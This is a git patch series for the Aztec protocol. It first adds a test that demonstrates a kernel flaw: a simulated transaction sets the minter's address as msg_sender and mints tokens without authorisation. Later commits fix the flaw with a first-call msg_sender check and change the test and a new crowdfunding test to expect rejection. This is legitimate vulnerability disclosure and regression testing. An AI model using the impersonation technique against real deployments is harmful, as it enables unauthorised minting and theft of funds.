From 7c08eab65932957387a6935cb1c4c03624c6dab2 Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Tue, 9 Jul 2024 14:17:07 +0000 Subject: [PATCH 01/10] chore: add exploit and show run --- .../contracts/token_contract/src/main.nr | 17 +++ .../src/e2e_token_contract/exploit.test.ts | 109 ++++++++++++++++++ .../e2e_token_contract/token_contract_test.ts | 19 ++- 3 files changed, 139 insertions(+), 6 deletions(-) create mode 100644 yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts diff --git a/noir-projects/noir-contracts/contracts/token_contract/src/main.nr b/noir-projects/noir-contracts/contracts/token_contract/src/main.nr index 6323d6773bf..f9b6c7aee26 100644 --- a/noir-projects/noir-contracts/contracts/token_contract/src/main.nr +++ b/noir-projects/noir-contracts/contracts/token_contract/src/main.nr @@ -214,6 +214,23 @@ contract Token { Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); } + // Showing an exploit + #[aztec(private)] + fn privately_mint_private_note_to(amount: Field, to: AztecAddress) { + storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); + + Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); + } + + #[aztec(private)] + fn privately_mint_private_note_to_direct(amount: Field, to: AztecAddress) { + // Acts as an entrypoint, so we need to end the setup phase + context.end_setup(); + storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); + + Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); + } + #[aztec(public)] #[aztec(internal)] fn assert_minter_and_mint(minter: AztecAddress, amount: Field) { diff --git a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts new file mode 100644 index 00000000000..7e6e32968c5 --- /dev/null +++ b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts @@ -0,0 +1,109 @@ +import { createAccounts } from '@aztec/accounts/testing'; +import { PackedValues, SentTx, TxExecutionRequest } from '@aztec/aztec.js'; +import { GasSettings, TxContext } from '@aztec/circuits.js'; + +import { setupPXEService } from '../fixtures/utils.js'; +import { TokenContractTest } from './token_contract_test.js'; + +describe('e2e_token_contract kernel exploit', () => { + const t = new TokenContractTest('exploit'); + let { asset, wallets, aztecNode } = t; + + beforeAll(async () => { + await t.applyBaseSnapshots(); + await t.setup(); + ({ asset, wallets, aztecNode } = t); + }); + + afterAll(async () => { + await t.teardown(); + }); + + it('exploiting the kernel', async () => { + // In the following test, we will show that we can MINT tokens, without being the minter. + // If you look at the `main.nr` of the token contract, and look at the `privately_mint_private_note_to` function + // you will see the following: + // + // #[aztec(private)] + // fn privately_mint_private_note_to(amount: Field, to: AztecAddress) { + // storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); + // Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); + // } + // + // #[aztec(public)] + // #[aztec(internal)] + // fn assert_minter_and_mint(minter: AztecAddress, amount: Field) { + // assert(storage.minters.at(minter).read(), "caller is not minter"); + // let supply = storage.total_supply.read() + U128::from_integer(amount); + // storage.total_supply.write(supply); + // } + // + // As you can see, we will make a call to `assert_minter_and_mint` which will check if the caller is the minter. + // assert(storage.minters.at(minter).read(), "caller is not minter"); + // + // The way we are going to bypass that is really simply. Just specify `from` on the simulation to be the `minter` + // and then you send that transaction after your simulation. + // + // The kernel seem to not be checking that we are not just passing any msg_sender we want for the first call, + // so if we pass the minter, and don't go through an account contract, but just directly to the token contract, + // we can mint "as if" we were the minter 😎. + + const amount = 10000n; + const minter = wallets[0].getAddress(); + // Creating a fully separate PXE to ensure that we are not just knowing some of the same keys + const { pxe: pxeB, teardown: _teardown } = await setupPXEService(aztecNode!, {}, undefined, true); + const attacker = (await createAccounts(pxeB, 1))[0]; + + await attacker.registerContract({ + artifact: asset.artifact, + instance: asset.instance, + }); + + // We initially try to perform the minting operation as the attacker, as one would normally call the function. + // Here we expect the call to fail, as the attacker is not the minter. + // It will FAIL CORRECTLY here. + await expect( + asset.withWallet(attacker).methods.privately_mint_private_note_to(amount, attacker.getAddress()).simulate(), + ).rejects.toThrow('Assertion failed: caller is not minter'); + + // We store the balance of the attacker for later so we can see his mint working. + const balanceBefore = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate(); + + // Now we come to the actual exploit! + // Below we will make a call, simulate it with the minter as the sender, and then we will broadcast it using the attacker. + // Note that we don't do anything using the minter (wallets[0]) in this test, and that we are even on a separate PXE, + // so it is not a case of bad PXE key management. + + // Create the call (mint amount to attacker) + const call = asset + .withWallet(attacker) + .methods.privately_mint_private_note_to_direct(amount, attacker.getAddress()) + .request(); + + // Manually prepare information to do the function call DIRECTLY, without going through the account contract + const entrypointPackedValues = PackedValues.fromValues(call.args); + const request = new TxExecutionRequest( + call.to, + call.selector, + entrypointPackedValues.hash, + new TxContext(attacker.getChainId(), attacker.getVersion(), GasSettings.default()), + [entrypointPackedValues], + [], + ); + + // Simulate the call with the minter as the sender. Note that we don't even have the minter wallets account contract + // we just need the address. + console.log(minter) + console.log(attacker.getAddress()) + const sim = await attacker.simulateTx(request, false, minter); + await new SentTx(wallets[1], wallets[1].sendTx(sim.tx)).wait(); + + // Get a hold of the balance + const balanceAfter = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate(); + + // Ensure that we have increased the balance of the attacker by the amount we minted. + expect(balanceAfter).toEqual(balanceBefore + amount); + + console.log(balanceBefore, balanceAfter); + }); +}); \ No newline at end of file diff --git a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts index fe57a47bc14..aee05e19d6a 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts @@ -9,6 +9,7 @@ import { type TxHash, computeSecretHash, createDebugLogger, + AztecNode, } from '@aztec/aztec.js'; import { DocsExampleContract, TokenContract } from '@aztec/noir-contracts.js'; @@ -34,6 +35,7 @@ export class TokenContractTest { asset!: TokenContract; tokenSim!: TokenSimulator; badAccount!: DocsExampleContract; + aztecNode!: AztecNode; constructor(testName: string) { this.logger = createDebugLogger(`aztec:e2e_token_contract:${testName}`); @@ -46,12 +48,17 @@ export class TokenContractTest { * 2. Publicly deploy accounts, deploy token contract and a "bad account". */ async applyBaseSnapshots() { - await this.snapshotManager.snapshot('3_accounts', addAccounts(3, this.logger), async ({ accountKeys }, { pxe }) => { - const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1)); - this.wallets = await Promise.all(accountManagers.map(a => a.getWallet())); - this.accounts = await pxe.getRegisteredAccounts(); - this.wallets.forEach((w, i) => this.logger.verbose(`Wallet ${i} address: ${w.getAddress()}`)); - }); + await this.snapshotManager.snapshot( + '3_accounts', + addAccounts(3, this.logger), + async ({ accountKeys }, { pxe, aztecNode }) => { + const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1)); + this.wallets = await Promise.all(accountManagers.map(a => a.getWallet())); + this.accounts = await pxe.getRegisteredAccounts(); + this.wallets.forEach((w, i) => this.logger.verbose(`Wallet ${i} address: ${w.getAddress()}`)); + this.aztecNode = aztecNode; + }, + ); await this.snapshotManager.snapshot( 'e2e_token_contract', From e661d755538bf916ec2391942f3a73a8b22b4a01 Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Tue, 9 Jul 2024 14:22:13 +0000 Subject: [PATCH 02/10] chore: fmt --- .../end-to-end/src/e2e_token_contract/exploit.test.ts | 4 +--- .../end-to-end/src/e2e_token_contract/token_contract_test.ts | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts index 7e6e32968c5..9b20c75acfc 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts @@ -93,8 +93,6 @@ describe('e2e_token_contract kernel exploit', () => { // Simulate the call with the minter as the sender. Note that we don't even have the minter wallets account contract // we just need the address. - console.log(minter) - console.log(attacker.getAddress()) const sim = await attacker.simulateTx(request, false, minter); await new SentTx(wallets[1], wallets[1].sendTx(sim.tx)).wait(); @@ -106,4 +104,4 @@ describe('e2e_token_contract kernel exploit', () => { console.log(balanceBefore, balanceAfter); }); -}); \ No newline at end of file +}); diff --git a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts index aee05e19d6a..846457140c3 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts @@ -1,6 +1,7 @@ import { getSchnorrAccount } from '@aztec/accounts/schnorr'; import { type AccountWallet, + AztecNode, type CompleteAddress, type DebugLogger, ExtendedNote, @@ -9,7 +10,6 @@ import { type TxHash, computeSecretHash, createDebugLogger, - AztecNode, } from '@aztec/aztec.js'; import { DocsExampleContract, TokenContract } from '@aztec/noir-contracts.js'; From dc57ffdc91e49b538e0c669b143d75f45dc1940e Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Tue, 9 Jul 2024 14:34:22 +0000 Subject: [PATCH 03/10] chore: fmt again --- .../noir-contracts/contracts/token_contract/src/main.nr | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/noir-projects/noir-contracts/contracts/token_contract/src/main.nr b/noir-projects/noir-contracts/contracts/token_contract/src/main.nr index f9b6c7aee26..ec017e094b1 100644 --- a/noir-projects/noir-contracts/contracts/token_contract/src/main.nr +++ b/noir-projects/noir-contracts/contracts/token_contract/src/main.nr @@ -214,7 +214,7 @@ contract Token { Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); } - // Showing an exploit + // Showing an exploit #[aztec(private)] fn privately_mint_private_note_to(amount: Field, to: AztecAddress) { storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); From 35ed54b9d643ae7b8420cbf30b6a0b14b6788e01 Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Tue, 9 Jul 2024 15:18:02 +0000 Subject: [PATCH 04/10] chore: please let this fmt work --- yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts | 2 -- .../end-to-end/src/e2e_token_contract/token_contract_test.ts | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts index 9b20c75acfc..0d172464b46 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts @@ -101,7 +101,5 @@ describe('e2e_token_contract kernel exploit', () => { // Ensure that we have increased the balance of the attacker by the amount we minted. expect(balanceAfter).toEqual(balanceBefore + amount); - - console.log(balanceBefore, balanceAfter); }); }); diff --git a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts index 846457140c3..ff5dca9e449 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/token_contract_test.ts @@ -1,7 +1,7 @@ import { getSchnorrAccount } from '@aztec/accounts/schnorr'; import { type AccountWallet, - AztecNode, + type AztecNode, type CompleteAddress, type DebugLogger, ExtendedNote, From 4072ae370191cd5b5f5a6a52083744ff1815532d Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Tue, 9 Jul 2024 16:39:38 +0000 Subject: [PATCH 05/10] fix: add msg sender check in kernel init, exploit test expects fail --- .../components/private_call_data_validator.nr | 3 +++ .../src/private_kernel_init.nr | 2 +- .../private_call_data_validator_builder/mod.nr | 5 +++++ .../validate_as_first_call.nr | 12 +++++++++--- .../crates/types/src/tests/fixture_builder.nr | 5 +++++ .../src/e2e_token_contract/exploit.test.ts | 18 ++++++------------ yarn-project/simulator/src/client/simulator.ts | 2 +- 7 files changed, 30 insertions(+), 17 deletions(-) diff --git a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr index 80e6aa30ac9..49fabf2d1e3 100644 --- a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr +++ b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/components/private_call_data_validator.nr @@ -121,6 +121,9 @@ impl PrivateCallDataValidator { let call_context = public_inputs.call_context; assert(call_context.is_delegate_call == false, "Users cannot make a delegatecall"); assert(call_context.is_static_call == false, "Users cannot make a static call"); + assert( + call_context.msg_sender == AztecAddress::from_field(0 - 1), "Users cannot set msg_sender in first call" + ); } // Confirm that the TxRequest (user's intent) matches the private call being executed. diff --git a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/private_kernel_init.nr b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/private_kernel_init.nr index f016a8ada88..08fe443d749 100644 --- a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/private_kernel_init.nr +++ b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/private_kernel_init.nr @@ -76,7 +76,7 @@ mod tests { impl PrivateKernelInitInputsBuilder { pub fn new() -> Self { - let private_call = FixtureBuilder::new(); + let private_call = FixtureBuilder::new().is_first_call(); let tx_request = private_call.build_tx_request(); PrivateKernelInitInputsBuilder { tx_request, private_call } } diff --git a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/mod.nr b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/mod.nr index 06e4ad419a2..a0d93befda5 100644 --- a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/mod.nr +++ b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/mod.nr @@ -43,6 +43,11 @@ impl PrivateCallDataValidatorBuilder { *self } + pub fn is_first_call(&mut self) -> Self { + let _ = self.private_call.is_first_call(); + *self + } + pub fn validate(self) { let private_call = self.private_call.to_private_call_data(); let mut accumulated_note_hashes = self.previous_note_hashes; diff --git a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/validate_as_first_call.nr b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/validate_as_first_call.nr index 9d7de6e0d58..db2a1591064 100644 --- a/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/validate_as_first_call.nr +++ b/noir-projects/noir-protocol-circuits/crates/private-kernel-lib/src/tests/private_call_data_validator_builder/validate_as_first_call.nr @@ -2,18 +2,24 @@ use crate::tests::private_call_data_validator_builder::PrivateCallDataValidatorB #[test] fn validate_as_first_call_regular_call_succeeds() { - let builder = PrivateCallDataValidatorBuilder::new(); + let builder = PrivateCallDataValidatorBuilder::new().is_first_call(); builder.validate_as_first_call(); } #[test(should_fail_with="Users cannot make a static call")] fn validate_as_first_call_static_call_fails() { - let builder = PrivateCallDataValidatorBuilder::new().is_static_call(); + let builder = PrivateCallDataValidatorBuilder::new().is_first_call().is_static_call(); builder.validate_as_first_call(); } #[test(should_fail_with="Users cannot make a delegatecall")] fn validate_as_first_call_delegate_call_fails() { - let builder = PrivateCallDataValidatorBuilder::new().is_delegate_call(); + let builder = PrivateCallDataValidatorBuilder::new().is_first_call().is_delegate_call(); + builder.validate_as_first_call(); +} + +#[test(should_fail_with="Users cannot set msg_sender in first call")] +fn validate_as_first_call_msg_sender_fails() { + let builder = PrivateCallDataValidatorBuilder::new(); builder.validate_as_first_call(); } diff --git a/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr b/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr index 5b544754d00..20e1cb8cd3b 100644 --- a/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr +++ b/noir-projects/noir-protocol-circuits/crates/types/src/tests/fixture_builder.nr @@ -203,6 +203,11 @@ impl FixtureBuilder { *self } + pub fn is_first_call(&mut self) -> Self { + self.msg_sender = AztecAddress::from_field(0-1); + *self + } + pub fn to_constant_data(self) -> CombinedConstantData { CombinedConstantData { historical_header: self.historical_header, diff --git a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts index 0d172464b46..b33e02511c3 100644 --- a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts +++ b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts @@ -1,5 +1,5 @@ import { createAccounts } from '@aztec/accounts/testing'; -import { PackedValues, SentTx, TxExecutionRequest } from '@aztec/aztec.js'; +import { PackedValues, TxExecutionRequest } from '@aztec/aztec.js'; import { GasSettings, TxContext } from '@aztec/circuits.js'; import { setupPXEService } from '../fixtures/utils.js'; @@ -19,7 +19,7 @@ describe('e2e_token_contract kernel exploit', () => { await t.teardown(); }); - it('exploiting the kernel', async () => { + it('can no longer exploit the kernel', async () => { // In the following test, we will show that we can MINT tokens, without being the minter. // If you look at the `main.nr` of the token contract, and look at the `privately_mint_private_note_to` function // you will see the following: @@ -66,9 +66,6 @@ describe('e2e_token_contract kernel exploit', () => { asset.withWallet(attacker).methods.privately_mint_private_note_to(amount, attacker.getAddress()).simulate(), ).rejects.toThrow('Assertion failed: caller is not minter'); - // We store the balance of the attacker for later so we can see his mint working. - const balanceBefore = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate(); - // Now we come to the actual exploit! // Below we will make a call, simulate it with the minter as the sender, and then we will broadcast it using the attacker. // Note that we don't do anything using the minter (wallets[0]) in this test, and that we are even on a separate PXE, @@ -93,13 +90,10 @@ describe('e2e_token_contract kernel exploit', () => { // Simulate the call with the minter as the sender. Note that we don't even have the minter wallets account contract // we just need the address. - const sim = await attacker.simulateTx(request, false, minter); - await new SentTx(wallets[1], wallets[1].sendTx(sim.tx)).wait(); - - // Get a hold of the balance - const balanceAfter = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate(); - // Ensure that we have increased the balance of the attacker by the amount we minted. - expect(balanceAfter).toEqual(balanceBefore + amount); + // Now the exploit has been fixed, we expect the below to fail: + await expect(attacker.simulateTx(request, false, minter)).rejects.toThrow( + 'Assertion failed: Users cannot set msg_sender in first call', + ); }); }); diff --git a/yarn-project/simulator/src/client/simulator.ts b/yarn-project/simulator/src/client/simulator.ts index cf2abfb00bd..ba870bbda65 100644 --- a/yarn-project/simulator/src/client/simulator.ts +++ b/yarn-project/simulator/src/client/simulator.ts @@ -44,7 +44,7 @@ export class AcirSimulator { request: TxExecutionRequest, entryPointArtifact: FunctionArtifact, contractAddress: AztecAddress, - msgSender = AztecAddress.ZERO, + msgSender = AztecAddress.fromField(new Fr(Fr.MODULUS - 1n)), ): Promise { if (entryPointArtifact.functionType !== FunctionType.PRIVATE) { throw new Error(`Cannot run ${entryPointArtifact.functionType} function as private`); From b7f5987f959e08a2e60279f3f8fb4f09f42cdca8 Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Tue, 9 Jul 2024 18:15:02 +0000 Subject: [PATCH 06/10] fix: add fr.max default value to more tests --- .../contracts/app_subscription_contract/src/main.nr | 3 ++- yarn-project/aztec.js/src/wallet/base_wallet.ts | 2 +- yarn-project/end-to-end/src/e2e_avm_simulator.test.ts | 2 +- yarn-project/entrypoints/src/dapp_entrypoint.ts | 8 ++++++-- .../simulator/src/client/private_execution.test.ts | 2 +- 5 files changed, 11 insertions(+), 6 deletions(-) diff --git a/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr b/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr index 5721632d542..d3aa9becc11 100644 --- a/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr +++ b/noir-projects/noir-contracts/contracts/app_subscription_contract/src/main.nr @@ -35,7 +35,8 @@ contract AppSubscription { #[aztec(private)] fn entrypoint(payload: DAppPayload, user_address: AztecAddress) { - assert(context.msg_sender().to_field() == 0); + // Default msg_sender for entrypoints is now Fr.max_value rather than 0 addr (see #7190 & #7404) + assert(context.msg_sender().to_field() == 0 - 1); assert_current_call_valid_authwit(&mut context, user_address); let mut note = storage.subscriptions.at(user_address).get_note().note; diff --git a/yarn-project/aztec.js/src/wallet/base_wallet.ts b/yarn-project/aztec.js/src/wallet/base_wallet.ts index 43b6753efce..0d5dffdc497 100644 --- a/yarn-project/aztec.js/src/wallet/base_wallet.ts +++ b/yarn-project/aztec.js/src/wallet/base_wallet.ts @@ -104,7 +104,7 @@ export abstract class BaseWallet implements Wallet { proveTx(txRequest: TxExecutionRequest, simulatePublic: boolean): Promise { return this.pxe.proveTx(txRequest, simulatePublic); } - simulateTx(txRequest: TxExecutionRequest, simulatePublic: boolean, msgSender: AztecAddress): Promise { + simulateTx(txRequest: TxExecutionRequest, simulatePublic: boolean, msgSender?: AztecAddress): Promise { return this.pxe.simulateTx(txRequest, simulatePublic, msgSender); } sendTx(tx: Tx): Promise { diff --git a/yarn-project/end-to-end/src/e2e_avm_simulator.test.ts b/yarn-project/end-to-end/src/e2e_avm_simulator.test.ts index ddbcceaca4f..c73834ad68f 100644 --- a/yarn-project/end-to-end/src/e2e_avm_simulator.test.ts +++ b/yarn-project/end-to-end/src/e2e_avm_simulator.test.ts @@ -52,7 +52,7 @@ describe('e2e_avm_simulator', () => { describe('Gas metering', () => { it('Tracks L2 gas usage on simulation', async () => { const request = await avmContract.methods.add_args_return(20n, 30n).create(); - const simulation = await wallet.simulateTx(request, true, wallet.getAddress()); + const simulation = await wallet.simulateTx(request, true); // Subtract the teardown gas allocation from the gas used to figure out the gas used by the contract logic. const l2TeardownAllocation = GasSettings.simulation().getTeardownLimits().l2Gas; const l2GasUsed = simulation.publicOutput!.end.gasUsed.l2Gas! - l2TeardownAllocation; diff --git a/yarn-project/entrypoints/src/dapp_entrypoint.ts b/yarn-project/entrypoints/src/dapp_entrypoint.ts index f680cb26e28..35dc53ed3f3 100644 --- a/yarn-project/entrypoints/src/dapp_entrypoint.ts +++ b/yarn-project/entrypoints/src/dapp_entrypoint.ts @@ -32,8 +32,12 @@ export class DefaultDappEntrypoint implements EntrypointInterface { const entrypointPackedArgs = PackedValues.fromValues(encodeArguments(abi, [payload, this.userAddress])); const gasSettings = exec.fee?.gasSettings ?? GasSettings.default(); const functionSelector = FunctionSelector.fromNameAndParameters(abi.name, abi.parameters); - - const innerHash = computeInnerAuthWitHash([Fr.ZERO, functionSelector.toField(), entrypointPackedArgs.hash]); + // Default msg_sender for entrypoints is now Fr.max_value rather than 0 addr (see #7190 & #7404) + const innerHash = computeInnerAuthWitHash([ + new Fr(Fr.MODULUS - 1n), + functionSelector.toField(), + entrypointPackedArgs.hash, + ]); const outerHash = computeAuthWitMessageHash( { consumer: this.dappEntrypointAddress, innerHash }, { chainId: new Fr(this.chainId), version: new Fr(this.version) }, diff --git a/yarn-project/simulator/src/client/private_execution.test.ts b/yarn-project/simulator/src/client/private_execution.test.ts index 1b5c4c42b3f..32fd64ef4dd 100644 --- a/yarn-project/simulator/src/client/private_execution.test.ts +++ b/yarn-project/simulator/src/client/private_execution.test.ts @@ -275,7 +275,7 @@ describe('Private Execution test suite', () => { describe('no constructor', () => { it('emits a field array as an encrypted log', async () => { // NB: this test does NOT cover correct enc/dec of values, just whether - // the kernels correctly populate non-note encrypted logs + // the contexts correctly populate non-note encrypted logs const artifact = getFunctionArtifact(TestContractArtifact, 'emit_array_as_encrypted_log'); // We emit the outgoing here to recipient for no reason at all const outgoingViewer = recipient; From 85da5a9aee00e465563f475943091e28cd1ed21d Mon Sep 17 00:00:00 2001 From: MirandaWood Date: Wed, 10 Jul 2024 12:44:02 +0000 Subject: [PATCH 07/10] feat: remove test code from nr contracts, add new ts tests for exploit --- .../contracts/token_contract/src/main.nr | 17 ---- .../src/e2e_crowdfunding_and_claim.test.ts | 45 ++++++++- .../src/e2e_token_contract/exploit.test.ts | 99 ------------------- .../src/e2e_token_contract/minting.test.ts | 7 ++ .../e2e_token_contract/token_contract_test.ts | 19 ++-- 5 files changed, 57 insertions(+), 130 deletions(-) delete mode 100644 yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts diff --git a/noir-projects/noir-contracts/contracts/token_contract/src/main.nr b/noir-projects/noir-contracts/contracts/token_contract/src/main.nr index ec017e094b1..6323d6773bf 100644 --- a/noir-projects/noir-contracts/contracts/token_contract/src/main.nr +++ b/noir-projects/noir-contracts/contracts/token_contract/src/main.nr @@ -214,23 +214,6 @@ contract Token { Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); } - // Showing an exploit - #[aztec(private)] - fn privately_mint_private_note_to(amount: Field, to: AztecAddress) { - storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); - - Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); - } - - #[aztec(private)] - fn privately_mint_private_note_to_direct(amount: Field, to: AztecAddress) { - // Acts as an entrypoint, so we need to end the setup phase - context.end_setup(); - storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); - - Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context); - } - #[aztec(public)] #[aztec(internal)] fn assert_minter_and_mint(minter: AztecAddress, amount: Field) { diff --git a/yarn-project/end-to-end/src/e2e_crowdfunding_and_claim.test.ts b/yarn-project/end-to-end/src/e2e_crowdfunding_and_claim.test.ts index a857c528f4b..0de4fac6276 100644 --- a/yarn-project/end-to-end/src/e2e_crowdfunding_and_claim.test.ts +++ b/yarn-project/end-to-end/src/e2e_crowdfunding_and_claim.test.ts @@ -9,11 +9,13 @@ import { Fr, Note, type PXE, + PackedValues, + TxExecutionRequest, type TxHash, computeSecretHash, deriveKeys, } from '@aztec/aztec.js'; -import { computePartialAddress } from '@aztec/circuits.js'; +import { GasSettings, TxContext, computePartialAddress } from '@aztec/circuits.js'; import { InclusionProofsContract } from '@aztec/noir-contracts.js'; import { ClaimContract } from '@aztec/noir-contracts.js/Claim'; import { CrowdfundingContract } from '@aztec/noir-contracts.js/Crowdfunding'; @@ -361,6 +363,47 @@ describe('e2e_crowdfunding_and_claim', () => { ).rejects.toThrow(); }); + it('cannot withdraw as non operator', async () => { + const donationAmount = 500n; + + // 1) We add authwit so that the Crowdfunding contract can transfer donor's DNT + const action = donationToken + .withWallet(donorWallets[1]) + .methods.transfer_from(donorWallets[1].getAddress(), crowdfundingContract.address, donationAmount, 0); + const witness = await donorWallets[1].createAuthWit({ caller: crowdfundingContract.address, action }); + await donorWallets[1].addAuthWitness(witness); + + // 2) We donate to the crowdfunding contract + await crowdfundingContract.withWallet(donorWallets[1]).methods.donate(donationAmount).send().wait({ + debug: true, + }); + + // Calling the function normally will fail as msg_sender != operator + await expect( + crowdfundingContract.withWallet(donorWallets[1]).methods.withdraw(donationAmount).send().wait(), + ).rejects.toThrow('Assertion failed: Not an operator'); + + // Instead, we construct a call and impersonate operator by skipping the usual account contract entrypoint... + const call = crowdfundingContract.withWallet(donorWallets[1]).methods.withdraw(donationAmount).request(); + // ...using the withdraw fn as our entrypoint + const entrypointPackedValues = PackedValues.fromValues(call.args); + const request = new TxExecutionRequest( + call.to, + call.selector, + entrypointPackedValues.hash, + new TxContext(donorWallets[1].getChainId(), donorWallets[1].getVersion(), GasSettings.default()), + [entrypointPackedValues], + [], + ); + // NB: Removing the msg_sender assertion from private_init will still result in a throw, as we are using + // a non-entrypoint function (withdraw never calls context.end_setup()), meaning the min revertible counter will remain 0. + // This does not protect fully against impersonation as the contract could just call context.end_setup() and the below would pass. + // => the private_init msg_sender assertion is required (#7190, #7404) + await expect(donorWallets[1].simulateTx(request, true, operatorWallet.getAddress())).rejects.toThrow( + 'Assertion failed: Users cannot set msg_sender in first call', + ); + }); + it('cannot donate after a deadline', async () => { const donationAmount = 1000n; diff --git a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts b/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts deleted file mode 100644 index b33e02511c3..00000000000 --- a/yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts +++ /dev/null @@ -1,99 +0,0 @@ -import { createAccounts } from '@aztec/accounts/testing'; -import { PackedValues, TxExecutionRequest } from '@aztec/aztec.js'; -import { GasSettings, TxContext } from '@aztec/circuits.js'; - -import { setupPXEService } from '../fixtures/utils.js'; -import { TokenContractTest } from './token_contract_test.js'; - -describe('e2e_token_contract kernel exploit', () => { - const t = new TokenContractTest('exploit'); - let { asset, wallets, aztecNode } = t; - - beforeAll(async () => { - await t.applyBaseSnapshots(); - await t.setup(); - ({ asset, wallets, aztecNode } = t); - }); - - afterAll(async () => { - await t.teardown(); - }); - - it('can no longer exploit the kernel', async () => { - // In the following test, we will show that we can MINT tokens, without being the minter. - // If you look at the `main.nr` of the token contract, and look at the `privately_mint_private_note_to` function - // you will see the following: - // - // #[aztec(private)] - // fn privately_mint_private_note_to(amount: Field, to: AztecAddress) { - // storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to)); - // 